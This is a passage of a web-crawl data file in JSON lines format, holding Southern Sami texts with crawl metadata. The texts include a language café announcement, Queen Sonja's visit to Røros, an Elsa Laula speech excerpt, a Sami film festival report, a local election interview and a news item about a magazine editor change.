2006.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:176759","date":"2019-04-22T02:51:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578533774.1\/warc\/CC-MAIN-20190422015736-20190422040744-00060.warc.gz","language":"sma","language_score":0.9999682903,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999682903289795}","num_words":131,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Språkkafé\nSamisk språkkafé er en arena der barn, ungdom og voksne kan møtes for å snakke samisk. Det legges også opp til ulike språklige aktiviteter. Formålet er å styrke det samiske språk, identitet, fellesskap og kulturarv.\nBokbussen er med å utvikle møteplassene og vi har stadig samiske språkkafeer\/treff i bokbussen. Her har vi også spennende tilbud som brettspill, bruk av samisk språklige nettspill og andre aktiviteter for barn og voksne. Sjekk ut vår arrangementskalender for mer info!\nSaemien gïele-káfe lea gaavnedimmiesijjie gusnie maanah, noerh jïh geervealmetjh åadtjoeh tjåanghkenidh saemiestidh. Mijjen leah ovmessie gïeledarjomh. Mijjen ulmie lea saemien gïelem, identiteetem, ektievuekiem jïh kultuvreaerpiem nænnoestidh.\nGærjabusse lea mealtan evtiedidh daejtie tjåanghkojde jïh mijjen leah daamtaj saemien gïeletjåanghkoeh\/gïelekáfeh gærjabussesne. Mijjen leah lustes jïh gieltegs faaleldahkh, vg. Daabloe\/spïele, saemien nehtespïelh jïh jeatjah darjomh dovne maanide jïh geervealmetjidie. Mijjieh gïelereeremedajvigujmie, saemien jarngigujmie, jïh Aktene-prosjektine ektesne barkijibie.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/gsj.nfk.no\/sprakkafe\/","date":"2019-05-26T07:37:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258862.99\/warc\/CC-MAIN-20190526065059-20190526091059-00286.warc.gz","language":"sma","language_score":0.9866131544,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9866131544113159, \"sme_Latn_score\": 0.012932540848851204}","num_words":141,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle\nKraapohken tjïelte akten saemien reeremetjïelte minngemes tsiengelen voestes biejjeste 2012 jïh dan gaavhtan tjïelte edtja sijjiem faaledh aarskuvledarjose jallh naemhtemes pedagogihke darjomasse mij lissehte jallh faalen aarhskuvlen gaavhtan, gusnie abpe jallh biehkiem darjoste saemiengïelesne darjoen jis maanan\/maanaj åelieh dam vaejtieh.\nKraapohken tjïelte saemienprofileereme aarhskuvledarjoem aarhskuvlegoevtesisnie Björnen darjohten jïh Båargesisnie pedagogihke hoksesne Rävlyan darjohten.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.dorotea.se\/utbildning-och-barnomsorg\/foerskola-och-pedagogisk-barnomsorg\/foerskola-aarhskuvle\/aarhskuvle\/","date":"2019-06-24T14:38:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999539.60\/warc\/CC-MAIN-20190624130856-20190624152856-00420.warc.gz","language":"sma","language_score":0.9999622107,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999622106552124}","num_words":53,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Trööhnege Röörosne\nKultuvreaerpie lij jarngesne Majesteete Trööhnegasse daan biejjien. Dovne vaanterdimmie akten vaarjelamme vearteneaerpien tjïrrh jïh akte gaavnesjimmie åarjelsaemien gïeline jïh kultuvrine sjïdti. Biejjie Röörosen tjaebpies gærhkosne eelki.\nDaate joekoen sjïere gærhkoe Röörosne lij gaervies jaepien 1784 Jupmelen Earose, jallh guktie gærhkosne tjåådtje Til Guds Ære og Bergstaden Ziir. Kåahperevierhkie bigkemem meeksi, jïh dam maahta aaj gærhkoen sisnie vuejnedh: Vierhkien væhta lea gaajhkine njieljie bieline dennie veelkeskaalhkeme gærhkoetåarnesne, jïh gærhkoetjiehtjielisnie maahta bïerjekåårpsen faanah jïh guvvieh vuejnedh dovne destie mij maalmem gaavni jïh vierhkien direktöörijste.\nGærhkoe lea Nöörjen vïjhtede stööremes – jïh bigkesovvi juktie gaajhkesidie tjeekedh mah lin bïerjevearhkan ektiedamme dan aejkien gosse gærhkoe tseegkesovvi. Dej gaskem mah leah juvlelgamme dennie båeries gærhkoegaertienisnie lea Bergstaden stoerre tjaelije Johan Falkberget.\nJaepien 2008 akte stoerre dåvvomebarkoe eelki. Gærhkoem orresistie rïhpesti feestegyrhkesjimmine goeven 12.b. 2011, jïh daan biejjien Trööhnege Sonja bïevnesh åadtjoeji dan stoerre barkoen bïjre mij dorjesovvi. Aaj nuepie sjïdti naaken dejstie musihkerijstie goltelidh mah Vinterfestspillese haarjanin.\nVaanterdimmie vearteneaerpesne\nBergstaden lea UNESCO:n vearteneaerpielæstosne tjaalasovveme. Trööhnege aktem onne vaatovem åadtjoeji gosse gærhkoen luvhtie veedtsi Nöörjen Kultuvremojhtesefoenten gåajkoe Bergmanns-gaatesne, mearan Einar Aasen soptsesti dej haestemi bïjre mejtie åtna gosse vearteneaerpien gaskoeh årroeminie.\nGosse lin Kultuvremojhtesefoenten gåajkoe båateme, dellie Trööhnege Sonja bïevnesh barkoen bïjre åadtjoeji, gusnie leavloe bïejesovvi dåvvomebarkose Röörosen bïerjestaaresne. Jalhts uvtemes Röörosen bïjre soptsestin daan biejjien, Kultuvremojhtesefoente barka gorredimmine jïh bievnieminie vaarjelimmievyörtegs jïh vaarjelamme kultuvremojhtesijstie abpe laantesne.\nMænngan desnie orreme dle dïhte vaanterdimmie jåarhki bergstaden histovrijen tjïrrh.\nGaavnesjimmie åarjelsaemien kultuvrine\nVaanterdimmie Malmplassesne orriji, jïh daesnie akte gierehtseråantjoe Trööhnegem vuertieji. Dueljine jïh råavkine juktie bïjvedh, dle Rööroste vuejiejin Praahken vööste, gusnie Rørosrein höölteste. Aajhtere, Eva Nordfjell, jïh maanah dehtie åarjelsaemien maanagierteste Trööhnege Sonjam dåastoejin gosse bööti. Maanah dovne laavlomem jïh blommah meatan utnin Trööhnegasse.\nRørosrein dovne bovtsigujmie, smeejveminie jïh bearkoebarkojne gïehtele, jïh jïjtsh beapmoedorjesh jïh darjomh duaka. Daesnie maahta bovtsigujmie vuejedh, voejhkelidh åådtjedidh jïh vielie dan åarjelsaemien kultuvren bïjre lïeredh. Håalemh jïh jeatjah darjomh leah gåetien sisnie, jïh diekie Trööhnege Sonjam dåeriedi.\nTrööhnege voenges maalestahkem åadtjoeji, jïh håalemh jïh soptsestimmieh lin maalestahken bealese. Eva Nordfjell båatsoen bïjre soptsesti, jïh tjïelten åejvie Hans Vintervold soptsesti guktie tjïelte barkeminie juktie Röörosem saemien reeremetjïeltine tseegkedh. Toini Bergstrøm haestemi bïjre soptsesti åarjelsaemien gïelebarkojne dajvesne. Åarjelsaemien gïelelïerehtimmie jïh nyjsenæjjaj nuepieh jïh haestemh lin vihkeles aamhtesh buertiej bïjre.\nGuhkiebasse Hamaren gåajkoe\nDaan iehkedsbiejjien Trööhnege guhkiebasse Hamaren gåajkoe vualka. Daan iehkeden rïhpestimmie Hamaren orre kultuvregåeteste, jïh Trööhnege sæjhta stïeresne årrodh rïhpestimmie-showesne.\nJuogat dán artihkkala Twitteris ja Facebookas:Juogat dán artihkkala Twitteris Juogat dán artihkkala Facebookas","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.gonagasviessu.no\/nyhet.html?tid=120123&sek=74887","date":"2019-06-16T04:42:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997731.69\/warc\/CC-MAIN-20190616042701-20190616064701-00153.warc.gz","language":"sma","language_score":0.9999705553,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999970555305481}","num_words":398,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh kuvsjh, seminaarh jïh öörnedimmieh\nSametingspresident Aili Keskitalo og plenumsleder Tom Sottinen deltar på 70-årsmarkeringen for relokaliseringen av den skoltesamiske befolkningen til Sevettijärvi, Finland, lørdag 24. august.\nNöörjen, Sveerjen jïh Såevmien Saemiedigkieh ektie seminaarem toelhkide, jarkoestæjjide jïh jeatjah gïelebarkijidie öörnedieh.\nUlmie Gïelevåhkojne lea statusem lutnjedh saemien gïelide, jïh daajroem saemien gïeli jïh kultuvren bïjre lutnjedh abpe siebriedahkesne. Raaktan daan våhkoen saemien gïelh edtjieh govledh jïh vååjnedh gaajhkem lehkiem.\nHva lette du etter? Din tilbakemelding hjelper oss ålage bedre nettsider.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/saemiedigkie.no\/Oeoernedimmieh?tag=86","date":"2019-08-20T20:12:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315618.73\/warc\/CC-MAIN-20190820200701-20190820222701-00127.warc.gz","language":"sma","language_score":0.9992049336,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9992049336433411}","num_words":78,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepien 1904 Elsan Laula Renbergen gærjam Saetnies-baakoeh saemien tsiehkiej bïjre bæjhkoehti. Daate tjaalege akte biehkie dehtie gærjeste. Ööhpehtimmiedirektorate lea tjaalegem jarkoestamme.\nAkte biehkie Elsan Laulan håalemistie: Saetnies-baakoeh saemien tsiehkiej bïjre (1904)\nAhkedh daamtajåbpoe gyhtjelasse båata maam mijjieh byörebe voestegh darjodh? Ibie maehtieh vielie leajhtadidh mubpieh edtjieh aelkedh pryöjjadidh guktie tsiehkie lea mijjen almetjidie, jïh mijjen reaktah tjåadtjoehtidh. Mijjen dajve-reaktah tjuerieh geehtelgidh fïerhten biejjien, jïh mijjen aamhtesh iktesth biejjie-öörnegasse bïejesovvedh. Men dellie saemieh jïjtjh tjuerieh dïedtem vaeltedh. Guktie? jeenjesh gihtjieh. Ajve akte vuekie gååvnese. Jïh dïhte lea: akte tjåenghkies saemien-siebrie mij barka jïh gååvnese gaajhkide årroejidie goh akte guedtije faamoe.\nByöroe dagkerh siebrieh tseegkedh dan varke gåarede gaajhkine saemien tjïeltine. Desnie mijjen voestes saemien stoerre tjåanghkoe sæjhta tseegkesovvedh, jïh destie mijjen siebriedahke sæjhta jïjtsistie jorkesidh, ihkebe slæjhtoes barkoen tjïrrh, mïsse akt jeatjabasse. Akten dagkeres siebrien tjïrrh maehtebe faamoem ribledh mij ojhte lij viehkiehtamme mijjen aamhtesidie vitnedh jïh illedahkh vedtedh. Oktegh ij dan jïjnjem buektehth.\nMijjen akte tjåenghkies ïedtje, jïh dam ïedtjem tjoerebe iktedidh guktie faamojne sjædta. Jïh varke limh sïjhteme væjkele barkijh åadtjodh mah goerkesen, rïektesvoeten jïh væjsehkevoeten tjïrrh mijjen aamhtesh biejjie-öörnegasse biejieh.\nDijjese, noere gaarmanæjjah jïh gujnh, sïjhtem maam akt jiehtedh: Mijjen åålmegen båetije aejkie lea dijjen gïeti sisnie. Dijjen faamojne mijjen åålmege jïh eatneme leah jielieminie. Aellede baaterh såemies stradtjojste mah sijhtieh gaagnine årrodh mijjen åålmegasse, jallh mejtie ussjedamme dan tjåenghkies barkose! Viehkie-dïrrege, mejnie mijjieh mijjen åålmegem åvtese guedtebe, lea gaervies tsïeglesjamme jïh gaervies aalhteme, ij edtjh aavenaaktje årrodh.\nDan åvteste, tïjjen åvtese, vïellh jïh åabpah, tjuedtjielidie jïh barkede dej åvteste mah leah dïedtelgamme, vaeltede abpe dam ööhpehtimmiem dijjieh daarpesjidie jïh maehtede åadtjodh, dåarjoehtidie dejtie mah tjabreminie bearkadidh jïh måjhtelidie mijjen båetijen aejkien tjåenghkies ulmiem! Jïh dijjieh, voeresh, mah veaksahkåbpoe sjïdteme trïegkenassen tjïrrh, mah slæjhtoes barkoen tjïrrh syjleme, sjïdtede meatan siebrine gaajhkesh dovnesh. Ij naan saemie edtjh mijjen siebrine fååtesidh.\nDah mah leah dïedtelgamme, edtjieh åadtjodh frijjelaakan jïh vyörtegslaakan håaledh. Daate lij sïjhteme mijjen stoerredigkie sjïdtedh, akten vihties tïjjese jïh akten vihties sæjjan. Jis edtja akte tjåenghkies våarome gaajhkide almetjidie sjïdtedh, edtjem tjiehpieslaakan daan aamhtesen bïjre bievnedh. Daejnie haestieminie dijjese, vïellh åabpah, daam håalemem geervehtem. Daelie mov baakoeh byöroeh dahkojne sjïdtedh, akten tïjjen gosse saemien båetije aejkie lea håvhtadamme jïh gusnie saemien reaktah dajvide, gusnie jieliemassem åtna jïh riblie, leah nyöjhkesovveme.\nVaajt dïhte bijjemes, dïhte mij lea åvtehke jïh jielede-geajnoem åålmegasse daelie jïh båetijen aejkien hammode, sæjhta mijjen åålmegem aarmoedidh jïh mijjem dennie baalkesne dåeriedidh, mij mijjem bæjjese lutnjie akten jïermijes jïh tsåatskes kultuvre-åålmegasse.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\n- Kjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:186372","date":"2019-11-19T12:00:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670135.29\/warc\/CC-MAIN-20191119093744-20191119121744-00392.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":469,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NRK > Tekst-TV > Side 495\n495.1 Oppdatert onsdag 22. jan kl 03.16\nNRK SAPMI Nyheter på sørsamisk 22.1 0.00 Healsoegoerehtimmie Trööndelagesne 15.okt Daan våhkoen jih dah båatije våhkoeh datne maahtah SMSe jallh påaste åadtjodh,gusnie healsoegoerehtimmie Trøøndelagesne datnem bööredh healsoegyhtjelassh vaestiedidh.Plassjen tjielten åvtehkedåaktere Anne Lajla Westerfjell Kalstad jeahta lea vihkeles almetjh goerehtimmiem svååredh.-Ibie daejrieh dan soe jijnjh magkeres healsoe åarjelsaemieh utnieh,daelie mijjieh vaestiedassh åadtjodh. 480 Nyheter på samisk 480","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.nrk.no\/tekst-tv\/495","date":"2020-01-22T07:51:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250606872.19\/warc\/CC-MAIN-20200122071919-20200122100919-00469.warc.gz","language":"sma","language_score":0.9996581078,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996581077575684}","num_words":59,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2001\nISBN\n8279001263\nFormaate\nGuvviegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n176\nDaate gærja bijjiebaakojne Boazojahki - et år med reindriftssamene - boazosámi bearraša jahki - four seasons with the reindeer people lea dovne noerhtesaemien-, daaroen- jïh englaantengïelesne. Gærjesne leah jïjnjh klaerieguvvieh.\nMijjieh aktem sïjtem dåeriedibie, gosse Guovdageaidnun jïh Návuonan gaskem juhtieh. Gærja fuelhkie Eiran barkoem vuesehte, aarkebiejjesne jïh heevehtimmesne, Finnmarkken miehtjesne jïh båatsoesaemien kultuvresne.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ovttas.no\/sma\/girji_boazojahki","date":"2020-01-24T08:29:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250616186.38\/warc\/CC-MAIN-20200124070934-20200124095934-00071.warc.gz","language":"sma","language_score":0.9998213649,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998213648796082}","num_words":64,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaajtele filmefestivaale filmebarkose skreejrehte\nJARKOESTÆJJA: ELLEN JONASSEN\n–Daamtaj gosse maam akt öörnedibie åarjelsaemien dajvesne, dellie dam darjobe juktie sïjhtebe gaavnedimmiesijjieh mijjese sjugniedidh, juktie vaenie dagkerh gaavnedimmiesijjieh daesnie. Filme akte joekoen hijven meedijume gusnie maahta vuartasjæjjide soptsestidh jïh tjïelkestidh dan saemien bïjre, seamma tïjjen goh vuartasjæjja maahta guarkedh. Filmh leah nåhtojne dovne saemide jïh mubpide, Raasten rastah filmefestivaalen åvtehke Stig Arne Somby tjïelkeste.\nVihkeles faalenasse\nMinngemes hïeljen Raasten rastah filmefestivaale öörnesovvi Rørosesne. Jienebh filmefestivaalesne mïnnin. Tjïelten åejvie Isak Veierud Busch filmefestivaalem rïhpesti jïh lij madtjeles vuejnedh dan gellie åarjelsaemien filmh leah dorjesovveme. Veierud Busch festivaaline læhkoehti.\n–Raasten rastah lea aalkoelistie kultuvrefestivaale mij öörnesåvva fïerhten mubpien jaepien. Mijjieh sïjhtimh faalenassem utnedh fïerhten jaepien jïh dan åvteste nïerhkimh Raasten rastah filmefestivaaline aaj. Göökte jaepiej juassah voejhkelimh aktem filmebiejjiem öörnedidh jïh gosse dejnie lyhkesimh, eajhnadovvimh akten ellies filmefestivaalese vijriedidh daan jaepien, Somby tjielkeste.\nNoere filmesjugniedæjjah\nRaasten rastah dovne åarjel- jïh noerhtesaemien filmh vuesiehti. Aaj nöörjen jïh jeatjah aalkoealmetjefilmh lin programmesne. \"Sööfe\", dïhte soejkesjamme NRK TV-raajroe sov voestes vuesiehtimmiem utni jïh jeenjesh lin dïsse vuarteme. Raajroem maahtah NRK:sne vuejnedh.\nGïeleviehkie lij prosjekte maam Gielem Nastedh Snåasesne lij dorjeme. Gïelejarnge jïh noerh lin ektesne filmem dorjeme gïelevåhkoen.\nDïhte mij stoerre lahkojne sjïdti, lij Rørosen noereskuvlelearohki baltovefilmem Stalker. Noerh lin jïjtjh manusem tjaaleme jïh filmem dorjeme hijven dramaturgijine. Almetjh noeri filmem lyjhkin jïh noerh jïjtjh lin aaj joekoen madtjeles. Kinovesavka lij mahte eevre dïeves.\n–Mov favorihte lij \"Stalker\" maam skuvlelearohkh lin dorjeme. Göökte våhkoeh festivaalen åvtelen lij barkoetjåanghkoe learoehkidie. Dah lin göökte biejjieh åådtjeme manusem tjaeledh jïh filmem darjodh. Dah profesjonelle bïhkedæjjah utnin jïh learohkh åadtjoejin eensi filmedalhketjh nuhtjedh. Illedahke joekoen hijven sjïdti jïh lij dan luste dej baltovefilmem vuejnedh. Lij aaj luste filmem \"Sööfe\" vuejnedh voenges dorjehtæjjajgujmie jïh åehpies dajvigujmie. Raaktan lij joekoen luste åahpetjh vuejnedh stoerre kinovesjeermesne, Somby jeahta.\nSæjhta åarjelsaemien filmesjugniedæjjah dåårrehtidh\nDïhte vaajtele festivaale jienebh filmesjugniedæjjah dåårrehte.\n–Mijjieh jienebh åarjelsaemien filmesjugniedæjjah daarpesjibie jïh vaajtelibie festivaale jïh barkoetjåanghkoe sijhtieh dejnie viehkiehtidh. Mijjieh limh aaj Saemien jïlleskuvlem diekie bööredamme juktie sijjen filmelohkemi bïjre soptsestidh, gusnie gaskem jeatjah Nils Gaup lea lohkehtæjja. Lij dan joekoen åajvoeh orreme jis mijjieh buektiehtibie noere filmesjugniedæjjah dåårrehtidh, juktie daesnie dan gellie soptsesh mah eah leah soptsesovveme filmesne annje.\nTjåanghkan filmefestivaalen åvtehke madtjeles festivaaline.\n–Mov mïelen mietie libie öörnedimmine lyhkesamme jïh hævvi maam akt lïereme aaj. Mubpien aejkien ij edtjh dan gaertjies programme årrodh, guktie almetjh hinnieh lïegkedidh jïh ektesne soptsestidh filmi gaskem. Manne joekoen garmeres dan jïjnjh almetjh bøøtin jïh almetjh mijjen maanaprogrammem lyjhkin. Mubpien jaepien sïejhme Raasten rastah festivaale daesnie jïh jaepien don mænngan vihth filmefestivaale, Raasten rastah filmefestivaalen åvtehke Stig Arne Somby jeahta.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/samimag.no\/sma\/content\/vaajtele-filmefestivaale-filmebarkose-skreejrehte","date":"2020-01-21T00:46:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250601040.47\/warc\/CC-MAIN-20200120224950-20200121013950-00239.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":425,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan jaepien lïhke-veeljeme Röörosisnie vuesehte SG 14,7% gaajhkide gïelijste åadtjoeji. Daate illedahken gïelh leah stuerebe goh evtebe jaepieh. SG'en gåålmeden kaandidate Hilde Danielsen lea öövre geerjene veeljemen illedahken åvteste.\n-Manne jïh mijjieh SG'sne libie öövre madtjeles daan jaepien veeljemen åvteste. SG'en gïelh leah dej minngemes jaepiej bijjeli byjjenamme jïh mijjieh libie aaj madtjeles SG'en illedahkh abpe laanesne. Mohte manne leam joekoen madtjeles juktie manne leam SG'en gåålmeden kandidaate jïh dannasinie åadtjoem tjïelteståvrose tjaangedh.\nDaelie gosse Hilde Danielsen edtja tjïelteståvrosne barkedh satne sæjhta SG-politihkem lutnjedh mij buerie SG-aarvoevåarome åtna. Hilde dååjve jïjnjem dan bïjre barkedh. Dïhte aaj tuhtjie saemien aamhtesh leah öövre vihkeles lutnjedh jïh satne sæjhta saemien aamhtsigujmie barkedh.\n-Mov vaajmoe saemien aamhtsi åvteste tsaapma, jïh nov lea dannasinie manne politihkem lyjhkem. Manne vïenhtem eelki saemiej aamhtsigujmie, jïh dan åvteste sïjhtem saemiej aamhtesidie lutnjedh. Sïjhtem sjïere gïelen bïjre barkedh jïh aaj juktie Röörose lea reeremedajvem sjïdteme jïh sïjhtem jïjnjem dan bïjre barkedh. Tuhtjem vihkeles buerie nuepiede maanajgiertesne, skuvlesne, voeres-såjhtosne jïh saemien healsosne tseegkedh. Mov mïelen mietie saemieh edtjieh seamma reaktah utnedh goh jeatjah almetjh.\nHilde lea öövre positijve jïh sæjhta jeatjah saemien organisasjovnigujmie båetije biejjide laavenjostedh, goh maehtieh eejtegh, noerh jïh båeries almetjh årrodh. Vuesiehtimmien gaavhtan saemien healsoeviermie, voeres-raerie jallh eejteghviermie.\nDaan gaskebiejjien tsåahka 17.30 edtja almetjetjåanghkoe Röörosen hotellesne årrodh, jïh dïhte aamhtese lea «Akte jaepie saemien gïelen reeremedajvesne». Hilde Danielsen edtja daan gaskebiejjien tjåanghkoe dåeriedidh jïh dan nåennieh leah tjïelke:\n-Mov nåennieh leah ahte almetjh gieh daennie tjïeltesne årroeminie åadtjoeh dej mïelh jiehtedh jïh buerkiestidh guktie dah tuhtjieh saemien reeremedajvesne årrodh. Vuartam buerie moenedimmie jïh aaj man bïjre tjoerebe vielie barkedh. Reeremedajvem sjidtedh ij leah akten jaepien bijjelen dorjeme jïh manne tuhtjem byörimh guhkebe båeteme. Nov daajram Röörosen tjïelte dejnie barkeminie jïh vuartam edtjebe vielie dejnie båetije biejjide barkedh.\nVoestegh Hilde Danielsen aavode guktie dej båetije jaepieh sjidtjieh. Tjïerteste dïhte lea joekoen garmeres jïh geerjene juktie åadtjoe tjïelteståvrosne barkedh. Dïhte aaj öövre geerjene juktie daen soe gellieh almetjh leah SG'm veeljeme. Hilde jeahta dïhte stoerre nåennieh jïjtjese åtna ,edtja jïjnjem barkedh jïh daate lea aktem joekoen dïedte. Hilde jïjnjem aavode tjïelteståvrosne barkedh jïh hååhkesje gieltegs sjædta båetije biejjide.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/rorosnytt.no\/daelie-hilde-danielsen-edtja-tjieltestavrosne-barkedh\/","date":"2020-02-17T16:44:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875142603.80\/warc\/CC-MAIN-20200217145609-20200217175609-00228.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":347,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anne jïh Anne Berit gegkiestieh SÁMi ođasmagasiidna preessedåarjoem åådtje.\nTjaelije: Ánne-Márgget Sámmola Ándde Stine Ericsson Anti\nJarkoestæjja: Ellen Bull Jonassen\nAnne lea joe saemien gujnh feegreme, dan åvteste satne lea tjelmienhaermieh dejtie tatoveradamme, gellie askh. Dïhte damta satne lea reaktoe geajnoem veeljeme daelie, jïh soptseste satne tuhtji lij joekoen isvelihke aktem staeries barkoem jïh hijven baalhkam laehpedh. Men ij leah saangerdamme satne numhtie veeljeme.\n- Lij joekoen isvelihke man sïjse njulhtjedh mij lea ånnetji ovjearsoes, gosse ij daejrieh man stoerre baalhka sjædta. Mov baalhka lea jearohke mestie man jïjnjem manne barkem, Anne föörhkede åvtelen soptseste satne idtji maehtieh guhkebem vuertedh.\n- Manne ajve bijre jarkan veedtsim jïh vuertiejim goske reaktoe tïjje sjïdti, men reaktoe tïjje idtji gåessie gænnah båetieh. Guktie tjoerim ajve pradtjedh jïh dan sïjse njulhtjedh, jïh illedahke lea joekoen luste orreme, tjïelkeste.\nGellie åssjaldahkh\nÅvtelen Anne raaktan doesti sïllem vaeltedh jïh jiehtedh satne sïjhti redaktöörebarkoem laehpedh jïh jïjtse sïeltine nïerhkedh, dïhte jïjnjem ussjedamme jïh dohkh diekie vïekesjamme.\n- Daate ij leah mij akt maam jååktan måjhtajim, jallh evtebe biejjien. Manne dïsse jïjnjem ussjedamme jïh dam vïekesjamme gaajhken haaran, Anne soptseste.\nGellie jaepieh veesi åvtelen gaavnehti mejnie sïjhti barkedh. Anne lea journalistine jïh bietskiedæjjine barkeme, jïh lea hierkiejgujmie gïehtelamme gellie jaepieh. Dïhte aajnehke maam deejri lij satne faavroesvoetebarkoen sïjse sïjhti.\n- Manne bïevnesh bååstede ohtselim fïerhten biejjien, naemhtie guktie åådtje gosse bietskiedæjjine barka. Gosse bïevnesh bååstede åådtje maahta jïjtjemse bueriedidh, tjïelkeste.\nAnne soptseste satne ij leah journalistepeannam jïh journalistihkem hællose bïejeme, ij rikti annje.\nSÁMi ođasmagasiidna\nAnne redaktöörebarkoem laahpa jïh Anne Berit dejnie staeries redaktöörebarkojne aalka. Anne ij leah stråarkan nåake sjædta plaerine dan gaavhtan, juktie vuajneme hijvenlaakan jåhteme.\n- Anne Berit joekoen hijven barkoem dorjeme, joe dehtie raejeste manne tjidtjiepermisjovnem eelkim, Anne soptseste.\nAnne Berit vuajna Saepmie SÁMi ođasmagasiidnam daarpesje. Plaerie olkese båata ikth våhkoen, jïh plaeresne 